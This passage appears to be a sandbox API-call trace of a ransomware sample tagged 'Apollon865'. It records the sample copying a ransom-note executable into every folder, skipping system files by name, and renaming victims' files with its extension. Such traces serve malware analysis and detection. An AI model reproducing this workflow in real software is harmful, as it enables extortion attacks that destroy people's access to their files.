	[0051.562] lstrcmpiW (lpString1="logo.png", lpString2=".lnk") returned 1
	[0051.562] lstrlenW (lpString=".ini") returned 4
	[0051.562] lstrcmpiW (lpString1="logo.png", lpString2=".ini") returned 1
	[0051.562] lstrlenW (lpString=".sys") returned 4
	[0051.562] lstrcmpiW (lpString1="logo.png", lpString2=".sys") returned 1
	[0051.562] lstrlenW (lpString="logo.png") returned 8
	[0051.562] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images"
	[0051.562] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599558 | out: hHeap=0x580000) returned 1
	[0051.562] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0051.562] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images") returned 70
	[0051.562] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images"
	[0051.562] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.562] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.567] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.567] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36cf1450, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36cf1450, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.567] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.567] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.567] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.567] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36cf1450, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36cf1450, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.568] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.568] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.568] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.571] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.571] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbae7f0e8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbae7f0e8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb0ffddc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="blank.png", cAlternateFileName="")) returned 1
	[0051.571] lstrcmpiW (lpString1="blank.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.571] lstrcmpiW (lpString1="blank.png", lpString2="Apollon865.txt.exe") returned 1
	[0051.571] lstrcmpiW (lpString1="blank.png", lpString2=".") returned 1
	[0051.571] lstrcmpiW (lpString1="blank.png", lpString2="..") returned 1
	[0051.571] lstrcmpiW (lpString1="blank.png", lpString2="windows") returned -1
	[0051.571] lstrcmpiW (lpString1="blank.png", lpString2="bootmgr") returned -1
	[0051.571] lstrcmpiW (lpString1="blank.png", lpString2="temp") returned -1
	[0051.571] lstrcmpiW (lpString1="blank.png", lpString2="pagefile.sys") returned -1
	[0051.571] lstrcmpiW (lpString1="blank.png", lpString2="boot") returned -1
	[0051.571] lstrcmpiW (lpString1="blank.png", lpString2="ids.txt") returned -1
	[0051.571] lstrcmpiW (lpString1="blank.png", lpString2="ntuser.dat") returned -1
	[0051.571] lstrcmpiW (lpString1="blank.png", lpString2="perflogs") returned -1
	[0051.571] lstrcmpiW (lpString1="blank.png", lpString2="MSBuild") returned -1
	[0051.571] lstrlenW (lpString="blank.png") returned 9
	[0051.571] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\*") returned 72
	[0051.572] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop"
	[0051.572] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0051.572] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fde8 | out: hHeap=0x580000) returned 1
	[0051.572] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop") returned 81
	[0051.572] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop"
	[0051.572] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.572] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images\\on_desktop\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.577] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.577] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36cf1450, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36cf1450, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.577] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.578] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.578] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.578] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36cf1450, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36cf1450, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.578] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.578] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.578] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.578] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.578] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36cf1450, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x36cf1450, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.578] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.578] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19835c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xcb19835c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xcb19835c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1589, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 1
	[0051.578] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.578] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="Apollon865.txt.exe") returned 1
	[0051.578] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2=".") returned 1
	[0051.578] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="..") returned 1
	[0051.578] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="windows") returned -1
	[0051.578] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="bootmgr") returned 1
	[0051.578] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="temp") returned -1
	[0051.578] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="pagefile.sys") returned 1
	[0051.578] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="boot") returned 1
	[0051.578] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="ids.txt") returned 1
	[0051.578] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="ntuser.dat") returned 1
	[0051.578] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="perflogs") returned 1
	[0051.578] lstrcmpiW (lpString1="slideshow_glass_frame.png", lpString2="MSBuild") returned 1
	[0051.578] lstrlenW (lpString="slideshow_glass_frame.png") returned 25
	[0051.578] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\*") returned 83
	[0051.578] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar"
	[0051.578] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599558 | out: hHeap=0x580000) returned 1
	[0051.578] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0051.578] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar") returned 81
	[0051.578] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar"
	[0051.578] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.578] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.595] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.595] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36d175b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36d175b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.595] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.595] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.595] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.595] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36d175b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36d175b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.595] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.595] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.595] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.595] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.595] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb125f3c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xcb125f3c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xcb125f3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdf6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bg_sidebar.png", cAlternateFileName="")) returned 1
	[0051.595] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.595] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="Apollon865.txt.exe") returned 1
	[0051.595] lstrcmpiW (lpString1="bg_sidebar.png", lpString2=".") returned 1
	[0051.595] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="..") returned 1
	[0051.595] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="windows") returned -1
	[0051.595] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="bootmgr") returned -1
	[0051.595] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="temp") returned -1
	[0051.596] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="pagefile.sys") returned -1
	[0051.596] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="boot") returned -1
	[0051.596] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="ids.txt") returned -1
	[0051.596] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="ntuser.dat") returned -1
	[0051.596] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="perflogs") returned -1
	[0051.596] lstrcmpiW (lpString1="bg_sidebar.png", lpString2="MSBuild") returned -1
	[0051.596] lstrlenW (lpString="bg_sidebar.png") returned 14
	[0051.596] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\*") returned 83
	[0051.596] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US"
	[0051.596] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x580000) returned 1
	[0051.596] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0051.596] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US") returned 69
	[0051.596] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US"
	[0051.596] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.596] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.602] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.602] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x36d3d710, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36d3d710, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.602] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.602] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.602] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.602] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x36d3d710, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36d3d710, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.602] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.602] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.602] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.602] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.602] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1
	[0051.602] lstrcmpiW (lpString1="css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.602] lstrcmpiW (lpString1="css", lpString2="Apollon865.txt.exe") returned 1
	[0051.602] lstrcmpiW (lpString1="css", lpString2=".") returned 1
	[0051.602] lstrcmpiW (lpString1="css", lpString2="..") returned 1
	[0051.602] lstrcmpiW (lpString1="css", lpString2="windows") returned -1
	[0051.602] lstrcmpiW (lpString1="css", lpString2="bootmgr") returned 1
	[0051.602] lstrcmpiW (lpString1="css", lpString2="temp") returned -1
	[0051.602] lstrcmpiW (lpString1="css", lpString2="pagefile.sys") returned -1
	[0051.602] lstrcmpiW (lpString1="css", lpString2="boot") returned 1
	[0051.602] lstrcmpiW (lpString1="css", lpString2="ids.txt") returned -1
	[0051.602] lstrcmpiW (lpString1="css", lpString2="ntuser.dat") returned -1
	[0051.602] lstrcmpiW (lpString1="css", lpString2="perflogs") returned -1
	[0051.602] lstrcmpiW (lpString1="css", lpString2="MSBuild") returned -1
	[0051.602] lstrlenW (lpString="css") returned 3
	[0051.602] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\*") returned 71
	[0051.602] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml.Apollon865") returned 91
	[0051.602] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml.Apollon865" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\en-us\\gadget.xml.apollon865"), dwFlags=0x1) returned 0
	[0051.604] GetLastError () returned 0x5
	[0051.604] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 109
	[0051.604] lstrlenA (lpString="[ERROR] C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 109
	[0051.604] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0051.604] SetFilePointer (in: hFile=0x150, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1ce1
	[0051.604] WriteFile (in: hFile=0x150, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x6d, lpOverlapped=0x0) returned 1
	[0051.604] CloseHandle (hObject=0x150) returned 1
	[0051.604] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0051.604] CloseHandle (hObject=0x0) returned 0
	[0051.604] CloseHandle (hObject=0x0) returned 0
	[0051.604] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36d3d710, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x36d3d710, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.604] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.605] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229c575e, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0051.605] lstrcmpiW (lpString1="js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.605] lstrcmpiW (lpString1="js", lpString2="Apollon865.txt.exe") returned 1
	[0051.605] lstrcmpiW (lpString1="js", lpString2=".") returned 1
	[0051.605] lstrcmpiW (lpString1="js", lpString2="..") returned 1
	[0051.605] lstrcmpiW (lpString1="js", lpString2="windows") returned -1
	[0051.605] lstrcmpiW (lpString1="js", lpString2="bootmgr") returned 1
	[0051.605] lstrcmpiW (lpString1="js", lpString2="temp") returned -1
	[0051.605] lstrcmpiW (lpString1="js", lpString2="pagefile.sys") returned -1
	[0051.605] lstrcmpiW (lpString1="js", lpString2="boot") returned 1
	[0051.605] lstrcmpiW (lpString1="js", lpString2="ids.txt") returned 1
	[0051.605] lstrcmpiW (lpString1="js", lpString2="ntuser.dat") returned -1
	[0051.605] lstrcmpiW (lpString1="js", lpString2="perflogs") returned -1
	[0051.605] lstrcmpiW (lpString1="js", lpString2="MSBuild") returned -1
	[0051.605] lstrlenW (lpString="js") returned 2
